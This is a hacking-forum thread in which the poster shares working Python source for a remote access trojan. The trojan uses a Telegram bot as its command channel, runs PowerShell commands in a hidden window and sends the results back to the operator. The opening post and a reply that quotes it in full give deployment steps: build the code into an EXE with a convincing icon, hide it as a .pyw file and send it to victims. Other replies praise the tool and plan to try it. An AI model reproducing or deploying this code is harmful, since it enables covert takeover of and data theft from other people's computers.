I'm currently designing a cyber weapon and I'm going to share a part of it with you
by reflex - Wednesday August 14, 2024 at 02:12 PM
#1
Those who say a RAT can execute commands on a target system without IP and port information, congratulations, you never believe in the impossible. Gather those who say no, I'll explain how to do it. Let me say this from the beginning, this code is not for sale, it's free to take and use in your own projects

Let me explain how this method works. First, we'll code a payload capable of executing PowerShell commands. Then, we'll integrate this payload into a Telegram bot. Using PyInstaller, we'll convert this program into an EXE file and send it to the target. Once the target runs this file, it turns into a Telegram bot server and executes the codes we send to the bot as messages on the computer and sends us the output. The code can bypass access controls by starting a separate PowerShell instance for each code, thus bypassing access controls. Here's what you need to do:

1-) Create a new bot from Telegram BotFather.
2-) Copy the bot's token and paste it into the "TOKEN HERE" part of the code I've given you.
3-) Convert the program to an EXE file with PyInstaller using a convincing icon. That's all. 

IMPORTANT NOTE Save the Python code I'll give you as a .pyw file instead of .py .pyw files are hidden files that run in the background, and if these files are converted to EXE, they also run secretly in the background

# Her Bji Mazlum Doxan Her Bji PKK import subprocess import time import socket from telegram import Update from telegram.ext import ApplicationBuilder, CommandHandler, MessageHandler, ContextTypes, filters # telegram token TOKEN = 'TOKEN HERE' # Start the PowerShell process def start_powershell():     startupinfo = subprocess.STARTUPINFO()     startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW     startupinfo.wShowWindow = subprocess.SW_HIDE     p = subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, startupinfo=startupinfo, text=True)     return p # Check internet connection def check_internet():     try:         socket.create_connection(("8.8.8.8", 53), timeout=1)         return True     except OSError:         return False # Command handler function async def handle_command(update: Update, context: ContextTypes.DEFAULT_TYPE):     command = update.message.text + "\n"     # start powershell driver     p = start_powershell()     try:         p.stdin.write(command)         p.stdin.flush()         output, error = p.communicate(timeout=10)         if error:             output += f'\nError: {error}'     except subprocess.TimeoutExpired:         p.kill()         output = "Execution of the command timed out...."     finally:         p.stdin.close()         p.stdout.close()         p.stderr.close()         p.terminate()     # Send output in chunks     chunk_size = 4096     for i in range(0, len(output), chunk_size):         await update.message.reply_text(output[i:i+chunk_size]) # Confirmation message that the system is working async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):     await update.message.reply_text('OK, system is working, enter command') async def error(update: Update, context: ContextTypes.DEFAULT_TYPE):     await update.message.reply_text(f'Error: {context.error}') def main():     # start bot     while True:         if check_internet():             app = ApplicationBuilder().token(TOKEN).build()             # Command and message handlers             app.add_handler(CommandHandler('start', start))             app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_command))             app.add_error_handler(error)             app.run_polling()         else:             time.sleep(5)  # If there is no internet connection, wait 5 seconds and check again if __name__ == '__main__':     main()

Guys, I have a request. If you think there's something missing in this code, please let me know. Also, this code is only 5% of a much larger and more powerful RAT project that I'm currently designing. I hesitated to share this code while writing this post, but I thought it might be useful for forum visitors. I hope it serves you well. Unlike classic RATs, this code doesn't use IP and port information, so even if this code is caught, it will be very, very difficult for them to find you. I hope you find it useful. Remember me every time you use it
Ban reason: Dishes out second hand retardation | http://raiddfzn73ir6iyxlf7nwytnujiflddog...an-Appeals if you wish to be unbanned in the future. (Permanent)
Reply
#2
reflex, you are a gift to the boards, might have to try this out Big Grin
"Universal appeal is poison masquerading as medicine. Horror is not meant to be universal. It's meant to be personal, private, animal"
Reply
#3
amazing job, reflex
Reply
#4
I don't quite understand, but it seems interesting. GL on your project
Tongue
Reply
#5
(08-14-2024, 02:33 PM)DredgenSun Wrote: reflex, you are a gift to the boards, might have to try this out Big Grin

Thanks, buddy. Hope it helps  Wink

(08-14-2024, 02:50 PM)Lalo92 Wrote: amazing job, reflex

Believe me, the RAT program I'm working on is much better than this code snippet. Let me give you a brief overview: It can establish a connection and execute commands without an internet connection, even over a 2G network. Of course, due to the limitations of 2G networks, it's currently restricted to command execution, audio recording, and location tracking. However, for devices that are completely isolated from the internet, this is a significant capability. For devices connected to the internet, the program can perform a much wider range of actions

(08-14-2024, 03:09 PM)earflaps Wrote: I don't quite understand, but it seems interesting. GL on your project

Let me explain this program is a remote shell program that executes PowerShell code on the target system. What sets this program apart from other remote shell programs is that you don't need to enter an IP and port information, you only need to enter a Telegram bot token. When the program runs on the target system, it opens a remote shell connection to the Telegram bot you entered and you send the codes you want the system to run as a message. It then runs the codes discreetly and sends the output to you as messages via the Telegram bot. The program starts a new PowerShell session for each code, allowing it to bypass access controls. Since the program doesn't use an IP, it's much more secure than traditional RAT programs.
Ban reason: Dishes out second hand retardation | http://raiddfzn73ir6iyxlf7nwytnujiflddog...an-Appeals if you wish to be unbanned in the future. (Permanent)
Reply
#6
i guess this is a program that attacks mobiles as well, isnt it?
Reply
#7
(08-14-2024, 08:16 PM)Lalo92 Wrote: i guess this is a program that attacks mobiles as well, isnt it?

Currently, the program only targets Linux, Windows, and macOS devices. In other words, it's designed as a RAT for computers and servers. However, in the future, I plan to make the program compatible with Android and iOS devices as well. For now, it's exclusively for computers and servers
Ban reason: Dishes out second hand retardation | http://raiddfzn73ir6iyxlf7nwytnujiflddog...an-Appeals if you wish to be unbanned in the future. (Permanent)
Reply
#8
Gonna give it a whirl tonight, i'll update on whats happened!
"Universal appeal is poison masquerading as medicine. Horror is not meant to be universal. It's meant to be personal, private, animal"
Reply
#9
(08-14-2024, 02:12 PM)reflex Wrote: Those who say a RAT can execute commands on a target system without IP and port information, congratulations, you never believe in the impossible. Gather those who say no, I'll explain how to do it. Let me say this from the beginning, this code is not for sale, it's free to take and use in your own projects

Let me explain how this method works. First, we'll code a payload capable of executing PowerShell commands. Then, we'll integrate this payload into a Telegram bot. Using PyInstaller, we'll convert this program into an EXE file and send it to the target. Once the target runs this file, it turns into a Telegram bot server and executes the codes we send to the bot as messages on the computer and sends us the output. The code can bypass access controls by starting a separate PowerShell instance for each code, thus bypassing access controls. Here's what you need to do:

1-) Create a new bot from Telegram BotFather.
2-) Copy the bot's token and paste it into the "TOKEN HERE" part of the code I've given you.
3-) Convert the program to an EXE file with PyInstaller using a convincing icon. That's all. 

IMPORTANT NOTE Save the Python code I'll give you as a .pyw file instead of .py .pyw files are hidden files that run in the background, and if these files are converted to EXE, they also run secretly in the background

# Her Bji Mazlum Doxan Her Bji PKK import subprocess import time import socket from telegram import Update from telegram.ext import ApplicationBuilder, CommandHandler, MessageHandler, ContextTypes, filters # telegram token TOKEN = 'TOKEN HERE' # Start the PowerShell process def start_powershell():     startupinfo = subprocess.STARTUPINFO()     startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW     startupinfo.wShowWindow = subprocess.SW_HIDE     p = subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, startupinfo=startupinfo, text=True)     return p # Check internet connection def check_internet():     try:         socket.create_connection(("8.8.8.8", 53), timeout=1)         return True     except OSError:         return False # Command handler function async def handle_command(update: Update, context: ContextTypes.DEFAULT_TYPE):     command = update.message.text + "\n"     # start powershell driver     p = start_powershell()     try:         p.stdin.write(command)         p.stdin.flush()         output, error = p.communicate(timeout=10)         if error:             output += f'\nError: {error}'     except subprocess.TimeoutExpired:         p.kill()         output = "Execution of the command timed out...."     finally:         p.stdin.close()         p.stdout.close()         p.stderr.close()         p.terminate()     # Send output in chunks     chunk_size = 4096     for i in range(0, len(output), chunk_size):         await update.message.reply_text(output[i:i+chunk_size]) # Confirmation message that the system is working async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):     await update.message.reply_text('OK, system is working, enter command') async def error(update: Update, context: ContextTypes.DEFAULT_TYPE):     await update.message.reply_text(f'Error: {context.error}') def main():     # start bot     while True:         if check_internet():             app = ApplicationBuilder().token(TOKEN).build()             # Command and message handlers             app.add_handler(CommandHandler('start', start))             app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_command))             app.add_error_handler(error)             app.run_polling()         else:             time.sleep(5)  # If there is no internet connection, wait 5 seconds and check again if __name__ == '__main__':     main()

Guys, I have a request. If you think there's something missing in this code, please let me know. Also, this code is only 5% of a much larger and more powerful RAT project that I'm currently designing. I hesitated to share this code while writing this post, but I thought it might be useful for forum visitors. I hope it serves you well. Unlike classic RATs, this code doesn't use IP and port information, so even if this code is caught, it will be very, very difficult for them to find you. I hope you find it useful. Remember me every time you use it

Can you please explain in video tutorial with the steps? That would be much appreciated
Reply
#10
(08-15-2024, 11:21 AM)DredgenSun Wrote: Gonna give it a whirl tonight, i'll update on whats happened!


thank you friend  Big Grin
Ban reason: Dishes out second hand retardation | http://raiddfzn73ir6iyxlf7nwytnujiflddog...an-Appeals if you wish to be unbanned in the future. (Permanent)
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Bypass AV and EDR - Halos Gate from Sektor7 0x01 123 10,863 06-26-2026, 11:50 AM
Last Post: hashxyz
  Logs stealer | Latest and private stealer (non leak & public) Deepweb01 2 208 01-04-2026, 06:02 PM
Last Post: Deepweb01
  [Shellcode x64] Find and execute WinAPI functions with Assembly Loki 21 1,727 12-20-2025, 01:08 PM
Last Post: luciano22
  mira and qbot sources nullvex 0 279 03-22-2025, 11:26 AM
Last Post: nullvex
  Penetration Testing and Red Teaming Resources Smeforlean 0 365 02-28-2025, 03:55 PM
Last Post: Smeforlean



 Users browsing this thread: 1 Guest(s)